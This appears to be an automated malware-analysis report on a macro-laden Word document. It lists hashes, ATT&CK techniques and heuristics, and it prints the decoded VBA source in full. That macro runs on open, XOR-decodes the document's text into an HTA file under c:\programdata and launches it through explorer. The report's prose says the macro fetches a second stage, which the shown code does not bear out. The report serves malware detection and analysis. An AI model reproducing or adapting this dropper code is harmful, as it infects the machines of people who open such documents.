Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1e6d6cc1e5df317b…

MALICIOUS

Office (OOXML)

49.7 KB Created: 2021-06-14 11:11:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 0f35029398172aeb4395812fc716b820 SHA-1: 06d00865e99b54f4a6a482feaf611637d8c5ea75 SHA-256: 1e6d6cc1e5df317b1e9634ce92a1f0084386d9af92908206d854d4b9bb995fbf
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The AutoOpen macro executes a shell command, which is constructed by concatenating strings to form 'c:\programdata\globalSetScr.ht'. This path is then used to download and execute a second-stage payload. The shell command itself is 'c:\windows\explorer ', which is likely a placeholder or part of the obfuscation for the actual execution.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1272 bytes
SHA-256: ce1f26a4264ed5a47dfea2a213c5d3c65faa24037555dfc44a755460a8853684
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "genDocument"
Function variantPastePtr()
variantPastePtr = Shell(optionReq("c:\\windows\\explorer "), vbNormalFocus)
End Function

Attribute VB_Name = "borderSetLibrary"
Sub autoopen()
procedureReferenceWindow
leftCurrencyDouble = variantPastePtr
End Sub
Function optionReq(scrSingleI, Optional storageH = "c:\program", Optional genPoint = "a")
optionReq = remValueTmp(scrSingleI & storageH & "data\globalSetScr.ht" & genPoint)
End Function
Function linkButtR(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 10)
Next
linkButtR = out
End Function
Function remValueTmp(leftCurrencyDouble)
remValueTmp = Trim(leftCurrencyDouble)
End Function

Attribute VB_Name = "functionSingle"
Sub procedureReferenceWindow()
Open optionReq("") For Output As #1
Print #1, dLoadMemory
Close #1
End Sub
Function dLoadMemory()
dLoadMemory = linkButtR(Split(ActiveDocument.Range.Text, "-"))
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 17408 bytes
SHA-256: f1040a42dd5dbce8aab09c6c328c3cf54cc0661db588f43ab38af5d9ddd7debd

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